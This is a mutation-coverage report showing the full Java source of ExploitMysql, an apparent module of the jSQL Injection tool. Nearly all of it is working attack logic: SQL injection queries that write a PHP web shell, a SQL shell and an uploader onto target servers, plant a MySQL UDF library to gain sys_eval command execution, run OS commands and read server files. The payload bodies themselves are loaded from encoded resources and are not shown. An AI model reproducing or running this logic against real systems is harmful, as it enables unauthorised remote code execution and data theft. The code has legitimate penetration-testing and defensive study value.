ExploitMysql.java

1
package com.jsql.model.accessible.vendor;
2
3
import com.jsql.model.InjectionModel;
4
import com.jsql.model.accessible.DataAccess;
5
import com.jsql.model.accessible.ExploitMode;
6
import com.jsql.model.accessible.ResourceAccess;
7
import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
8
import com.jsql.model.bean.database.MockElement;
9
import com.jsql.model.bean.util.Interaction;
10
import com.jsql.model.bean.util.Request;
11
import com.jsql.model.exception.AbstractSlidingException;
12
import com.jsql.model.exception.JSqlException;
13
import com.jsql.model.exception.JSqlRuntimeException;
14
import com.jsql.model.injection.vendor.model.VendorYaml;
15
import com.jsql.model.suspendable.SuspendableGetRows;
16
import com.jsql.util.LogLevelUtil;
17
import com.jsql.util.StringUtil;
18
import org.apache.commons.codec.binary.Hex;
19
import org.apache.commons.lang3.RandomStringUtils;
20
import org.apache.commons.lang3.StringUtils;
21
import org.apache.logging.log4j.LogManager;
22
import org.apache.logging.log4j.Logger;
23
import org.yaml.snakeyaml.Yaml;
24
25
import java.io.*;
26
import java.net.http.HttpResponse;
27
import java.nio.charset.StandardCharsets;
28
import java.nio.file.Files;
29
import java.nio.file.Path;
30
import java.nio.file.Paths;
31
import java.util.List;
32
import java.util.Objects;
33
import java.util.UUID;
34
import java.util.function.BiPredicate;
35
import java.util.function.BinaryOperator;
36
37
public class ExploitMysql {
38
39
    private static final Logger LOGGER = LogManager.getRootLogger();
40
    public static final String NAME_TABLE = "temp";
41
    private final InjectionModel injectionModel;
42
    private final ModelYamlMysql modelYaml;
43
44
    private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
45
        try {
46 2 1. lambda$new$0 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE
2. lambda$new$0 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE
            return this.buildSysEval(nameLibraryRandom);
47
        } catch (JSqlException e) {
48
            throw new JSqlRuntimeException(e);
49
        }
50
    };
51
52
    public ExploitMysql(InjectionModel injectionModel) {
53
        this.injectionModel = injectionModel;
54
        var yaml = new Yaml();
55
        this.modelYaml = yaml.loadAs(
56
            injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
57
            ModelYamlMysql.class
58
        );
59
    }
60
61
    public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
62
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
63
64
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
65
            var request = new Request();
66 1 1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
67 1 1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
            request.setParameters(urlSuccess);
68 1 1. lambda$createWeb$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
69 1 1. lambda$createWeb$1 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE
            return urlSuccess;
70
        };
71 1 1. createWeb : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createWeb → NO_COVERAGE
        return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
72
    }
73
74
    public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
75
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
76
            var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
77 2 1. lambda$createSql$2 : negated conditional → NO_COVERAGE
2. lambda$createSql$2 : negated conditional → NO_COVERAGE
            if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
78
                var request = new Request();
79 1 1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
                request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
80 1 1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
                request.setParameters(urlSuccess, username, password);
81 1 1. lambda$createSql$2 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(request);
82 1 1. lambda$createSql$2 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createSql$2 → NO_COVERAGE
                return urlSuccess;
83
            }
84
            return StringUtils.EMPTY;
85
        };
86
        var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
87 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
88
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
89
            urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
90
        }
91 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
92
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
93
            urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
94
        }
95 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
96
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
97
        }
98 1 1. createSql : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createSql → NO_COVERAGE
        return urlSuccess;
99
    }
100
101
    public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
102
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
103
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
104
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
105 1 1. lambda$createUpload$3 : negated conditional → NO_COVERAGE
                if (result.body().contains(DataAccess.LEAD +"y")) {
106
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
107
                } else {
108
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
109
                }
110
            } catch (InterruptedException e) {
111
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
112 1 1. lambda$createUpload$3 : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
113
            } catch (IOException | JSqlException e) {
114
                throw new JSqlRuntimeException(e);
115
            }
116 1 1. lambda$createUpload$3 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE
            return urlSuccess;
117
        };
118
        this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
119
    }
120
121
    /**
122
     * Create shell on remote server
123
     * @param urlExploit  URL for the script (used for url rewriting)
124
     */
125
    public String create(
126
        String pathRemoteFolder,
127
        String urlExploit,
128
        String keyPropertyExploit,
129
        String nameExploit,
130
        BinaryOperator<String> biFuncGetRequest,
131
        String pathNetshareFolder,
132
        ExploitMode exploitMode
133
    ) throws JSqlException {
134 1 1. create : negated conditional → NO_COVERAGE
        if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
135 1 1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE
            return null;
136
        }
137
138
        String bodyExploit = StringUtil.base64Decode(
139
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
140
            )
141
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
142
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
143
144
        // outfile + binary: content corruption
145
        BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
146
            try {
147
                String resultInjection = this.confirm(pathFolder + nameFile);
148 2 1. lambda$create$4 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE
2. lambda$create$4 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE
                return resultInjection.contains(bodyExploit);
149
            } catch (JSqlException e) {
150
                throw new JSqlRuntimeException(e);
151
            }
152
        };
153
154 1 1. create : Replaced integer subtraction with addition → NO_COVERAGE
        var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
155
        String nameExploitValidated = StringUtils.EMPTY;
156
157 1 1. create : negated conditional → NO_COVERAGE
        if (exploitMode == ExploitMode.NETSHARE) {
158 1 1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyBodyToShare → NO_COVERAGE
            ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit);
159
            nameExploitValidated = this.byNetshare(
160
                nbIndexesPrefix,
161
                pathNetshareFolder,
162
                nameExploit,
163
                pathRemoteFolder,
164
                biPredConfirm
165
            );
166 2 1. create : negated conditional → NO_COVERAGE
2. create : negated conditional → NO_COVERAGE
        } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
167
            nameExploitValidated = this.byQueryBody(
168
                nbIndexesPrefix,
169
                pathRemoteFolder,
170
                nameExploit,
171
                StringUtil.toHexChunks(bodyExploit.getBytes()),
172
                biPredConfirm
173
            );
174
        }
175 3 1. create : negated conditional → NO_COVERAGE
2. create : negated conditional → NO_COVERAGE
3. create : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
176
            var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
177 1 1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE
            this.byTable(
178
                StringUtil.toHexChunks(bodyExploit.getBytes()),
179
                pathRemoteFolder + nameExploitRandom
180
            );
181 1 1. create : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
182
                nameExploitValidated = nameExploitRandom;
183
            }
184
        }
185
186 1 1. create : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
187
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
188 1 1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE
            return null;
189
        }
190
        nameExploit = nameExploitValidated;
191
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
192
193 1 1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
194
    }
195
196
    public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
197
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
198
199 1 1. createUdf : negated conditional → NO_COVERAGE
        if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
200
            return;
201
        }
202
203 1 1. createUdf : Replaced integer subtraction with addition → NO_COVERAGE
        var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
204
        var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
205 1 1. createUdf : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(pathPlugin)) {
206
            throw new JSqlException("Incorrect plugin folder: path is empty");
207
        }
208
209
        String nameLibrary = this.getNameLibrary();
210
211
        pathPlugin = pathPlugin.replace("\\", "/");
212 1 1. createUdf : negated conditional → NO_COVERAGE
        if (!pathPlugin.endsWith("/")) {
213
            pathPlugin = String.format("%s%s", pathPlugin, "/");
214
        }
215
216 1 1. createUdf : negated conditional → NO_COVERAGE
        if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
217
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
218
        }
219
        String isSuccess = StringUtils.EMPTY;
220 1 1. createUdf : negated conditional → NO_COVERAGE
        if (exploitMode == ExploitMode.NETSHARE) {
221 1 1. createUdf : negated conditional → NO_COVERAGE
            if (!pathNetshareFolder.endsWith("\\")) {
222
                pathNetshareFolder += "\\";
223
            }
224 1 1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyLibraryToShare → NO_COVERAGE
            ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
225
            isSuccess = this.byNetshare(
226
                nbIndexesFound,
227
                pathNetshareFolder,
228
                nameLibrary,
229
                pathPlugin,
230
                this.biPredCreateUdf
231
            );
232 2 1. createUdf : negated conditional → NO_COVERAGE
2. createUdf : negated conditional → NO_COVERAGE
        } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
233 1 1. createUdf : negated conditional → NO_COVERAGE
            if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
234
                LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead");
235
            }
236
            isSuccess = this.byQueryBody(
237
                nbIndexesFound,
238
                pathPlugin,
239
                nameLibrary,
240
                ExploitMysql.toHexChunks(nameLibrary),
241
                this.biPredCreateUdf
242
            );
243
        }
244 3 1. createUdf : negated conditional → NO_COVERAGE
2. createUdf : negated conditional → NO_COVERAGE
3. createUdf : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
245
            var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
246 1 1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE
            this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
247
            this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
248
        }
249
    }
250
251
    private String getNameLibrary() throws JSqlException {
252
        var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
253 1 1. getNameLibrary : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(versionOsMachine)) {
254
            throw new JSqlException("Incorrect remote machine: unknown system");
255
        }
256 2 1. getNameLibrary : negated conditional → NO_COVERAGE
2. getNameLibrary : negated conditional → NO_COVERAGE
        var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
257
        String nameLibrary;
258 1 1. getNameLibrary : negated conditional → NO_COVERAGE
        if (versionOsMachine.contains("64")) {
259 1 1. getNameLibrary : negated conditional → NO_COVERAGE
            nameLibrary = isWin ? "64.dll" : "64.so";
260
        } else {
261 1 1. getNameLibrary : negated conditional → NO_COVERAGE
            nameLibrary = isWin ? "32.dll" : "32.so";
262
        }
263 1 1. getNameLibrary : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getNameLibrary → NO_COVERAGE
        return nameLibrary;
264
    }
265
266
    public String byQueryBody(
267
        int nbIndexesPrefix,
268
        String pathRemoteFolder,
269
        String nameExploit,
270
        List<String> hexChunks,
271
        BiPredicate<String, String> biPredConfirm
272
    ) {
273
        String nameExploitValidated = StringUtils.EMPTY;
274
        var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
275
276
        var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
277 1 1. byQueryBody : negated conditional → NO_COVERAGE
        int countUnionIndex = this.injectionModel.getMediatorUtils().getPreferencesUtil().isLimitingUnionIndex()
278
            ? this.injectionModel.getMediatorUtils().getPreferencesUtil().countUnionIndex()
279
            : 15;
280 2 1. byQueryBody : negated conditional → NO_COVERAGE
2. byQueryBody : changed conditional boundary → NO_COVERAGE
        for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) {
281
            int finalI = i;
282
            LOGGER.log(
283
                LogLevelUtil.CONSOLE_DEFAULT,
284
                "Checking file write with [union select {}fileBody]",
285 1 1. lambda$byQueryBody$5 : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::lambda$byQueryBody$5 → NO_COVERAGE
                () -> "'',".repeat(finalI)
286
            );
287
            this.injectionModel.injectWithoutIndex(String.format(pattern,
288
                "and 1=2 union",  // false required, prevent writing origin rows instead of file body when true
289
                "'',".repeat(i),
290
                String.join(StringUtils.EMPTY, hexChunks),
291
                pathRemoteFolder + nameExploitRandom
292
            ), "body#union-dump");
293 1 1. byQueryBody : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
294
                nameExploitValidated = nameExploitRandom;
295
                break;
296 2 1. byQueryBody : negated conditional → NO_COVERAGE
2. byQueryBody : changed conditional boundary → NO_COVERAGE
            } else if (nbIndexesPrefix > -1) {  // interrupt when Union already found
297
                break;
298
            }
299
        }
300 1 1. byQueryBody : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
301
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
302
            nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
303
            this.injectionModel.injectWithoutIndex(String.format(pattern,
304
                ";",
305
                StringUtils.EMPTY,
306
                String.join(StringUtils.EMPTY, hexChunks),
307
                pathRemoteFolder + nameExploitRandom
308
            ), "body#stack-dump");
309 1 1. byQueryBody : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
310
                nameExploitValidated = nameExploitRandom;
311
            }
312
        }
313 1 1. byQueryBody : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byQueryBody → NO_COVERAGE
        return nameExploitValidated;
314
    }
315
316
    public String byNetshare(
317
        int nbIndexesPrefix,
318
        String pathNetshareFolder,
319
        String nameExploit,
320
        String pathRemoteFolder,
321
        BiPredicate<String, String> biPredConfirm
322
    ) {
323
        String nameExploitValidated = StringUtils.EMPTY;
324
        var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
325
        var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
326
327
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
328
        var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
329
        this.injectionModel.injectWithoutIndex(String.format(pattern,
330
            "and 1=2 union",  // required false, prevent writing origin rows instead of file body when true
331
            "'',".repeat(nbIndexesPrefix),
332
            pathShareEncoded + nameExploit,
333
            pathRemoteFolder + nameExploitRandom
334
        ), "netshare#union");
335 1 1. byNetshare : negated conditional → NO_COVERAGE
        if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
336
            nameExploitValidated = nameExploitRandom;
337
        }
338 1 1. byNetshare : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
339
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
340
            nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
341
            this.injectionModel.injectWithoutIndex(String.format(pattern,
342
                ";",
343
                StringUtils.EMPTY,
344
                pathShareEncoded + nameExploit,
345
                pathRemoteFolder + nameExploitRandom
346
            ), "netshare#stack");
347 1 1. byNetshare : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
348
                nameExploitValidated = nameExploitRandom;
349
            }
350
        }
351 1 1. byNetshare : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byNetshare → NO_COVERAGE
        return nameExploitValidated;
352
    }
353
354
    public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
355
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
356
        var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
357 2 1. byTable : negated conditional → NO_COVERAGE
2. byTable : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
358
            nameDatabase = "mysql";
359
        }
360
        var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
361
        var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
362
        this.injectionModel.injectWithoutIndex(String.format(
363
            this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
364
            nameSchemaTable
365
        ), ResourceAccess.TBL_DROP);
366
        var countResult = this.getCountTable(nameDatabase, nameTableRandom);
367 1 1. byTable : negated conditional → NO_COVERAGE
        if (!"0".equals(countResult)) {
368
            throw new JSqlException("Drop table failure: "+ countResult);
369
        }
370
        this.injectionModel.injectWithoutIndex(String.format(
371
            this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
372
            nameSchemaTable
373
        ), ResourceAccess.TBL_CREATE);
374
        countResult = this.getCountTable(nameDatabase, nameTableRandom);
375 1 1. byTable : negated conditional → NO_COVERAGE
        if (!"1".equals(countResult)) {
376
            throw new JSqlException("Create table failure: "+ countResult);
377
        }
378
        int indexChunk = 0;
379
        for (String chunk: bodyHexChunks) {
380 1 1. byTable : negated conditional → NO_COVERAGE
            if (indexChunk == 0) {
381
                this.injectionModel.injectWithoutIndex(String.format(
382
                    this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
383
                    nameSchemaTable,
384
                    chunk
385
                ), "tbl#init");
386
            } else {
387
                this.injectionModel.injectWithoutIndex(String.format(
388
                    this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
389
                    nameSchemaTable,
390
                    chunk
391
                ), ResourceAccess.TBL_FILL);
392
            }
393 1 1. byTable : Changed increment from 1 to -1 → NO_COVERAGE
            indexChunk++;
394
        }
395
        this.injectionModel.injectWithoutIndex(String.format(
396
            this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
397
            nameSchemaTable,
398
            pathRemoteFile
399
        ), ResourceAccess.TBL_DUMP);
400
    }
401
402
    private String getCountTable(String nameDatabase, String nameTableRandom) {
403
        try {
404 1 1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE
            return this.injectionModel.getResourceAccess().getResult(String.format(
405
                this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
406
                nameTableRandom,
407
                nameDatabase
408
            ), "tbl#check");
409
        } catch (JSqlException e) {
410 1 1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE
            return e.getMessage();  // error message then logged
411
        }
412
    }
413
414
    private boolean buildSysEval(String nameLibrary) throws JSqlException {
415
        this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
416
        this.injectionModel.injectWithoutIndex(String.format(
417
            this.modelYaml.getUdf().getAddFunction().getCreate(),
418
            nameLibrary
419
        ), "udf#function");
420
        var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
421 1 1. buildSysEval : negated conditional → NO_COVERAGE
        if (!confirm.contains("sys_eval")) {
422
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
423 1 1. buildSysEval : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE
            return false;
424
        }
425
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
426
427
        var request = new Request();
428 1 1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_MYSQL);
429 1 1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
        request.setParameters(null, null);
430 1 1. buildSysEval : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
431 1 1. buildSysEval : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE
        return true;
432
    }
433
434
    public String confirm(String path) throws JSqlException {
435
        var sourcePage = new String[]{ StringUtils.EMPTY };
436 1 1. confirm : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::confirm → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(
437
            this.modelYaml.getFile().getRead().replace(
438
                VendorYaml.FILEPATH_HEX,
439
                Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
440
            ),
441
            sourcePage,
442
            false,
443
            1,
444
            MockElement.MOCK,
445
            "xplt#confirm-file"
446
        );
447
    }
448
449
    public String runRceCmd(String command, UUID uuidShell) {
450
        String result;
451
        try {
452
            result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
453
                this.modelYaml.getUdf().getRunCmd(),
454
                command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
455
            ), "udf#run-cmd") +"\n";
456
        } catch (JSqlException e) {
457
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
458
        }
459
        var request = new Request();
460 1 1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
461 1 1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
        request.setParameters(uuidShell, result);
462 1 1. runRceCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
463 1 1. runRceCmd : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::runRceCmd → NO_COVERAGE
        return result;
464
    }
465
466
    public String getRead(String pathFile) throws AbstractSlidingException {
467
        LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
468 1 1. getRead : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getRead → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(
469
                this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
470
                VendorYaml.FILEPATH_HEX,
471
                Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8))
472
            ),
473
            new String[]{ StringUtils.EMPTY },
474
            false,
475
            1,
476
            MockElement.MOCK,
477
            ResourceAccess.FILE_READ
478
        );
479
    }
480
481
    private static List<String> toHexChunks(String filename) throws JSqlException {
482
        try {
483
            byte[] fileData = ExploitMysql.uncloak(filename);
484 1 1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/vendor/ExploitMysql::toHexChunks → NO_COVERAGE
            return StringUtil.toHexChunks(fileData);
485
        } catch (IOException e) {
486
            throw new JSqlException(e);
487
        }
488
    }
489
490
    private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
491
        try {
492
            byte[] fileData = ExploitMysql.uncloak(nameLibrary);
493
            Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary);
494
            try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) {
495 1 1. copyLibraryToShare : removed call to java/io/FileOutputStream::write → NO_COVERAGE
                stream.write(fileData);
496
            }
497
        } catch (IOException e) {
498
            throw new JSqlException(e);
499
        }
500
    }
501
502
    private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException {
503
        Path path = Paths.get(pathFile);
504
        try {
505
            Files.write(path, bodyExploit.getBytes());
506
        } catch (IOException e) {
507
            throw new JSqlException(e);
508
        }
509
    }
510
511
    private static byte[] uncloak(String nameLibrary) throws IOException {
512
        byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
513
            ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak")
514
        ).readAllBytes();
515
        fileData = StringUtil.uncloak(fileData);
516 1 1. uncloak : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::uncloak → NO_COVERAGE
        return fileData;
517
    }
518
519
    public ModelYamlMysql getModelYaml() {
520 1 1. getModelYaml : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::getModelYaml → NO_COVERAGE
        return this.modelYaml;
521
    }
522
}

Mutations

46

1.1
Location : lambda$new$0
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE

2.2
Location : lambda$new$0
Killed by : none
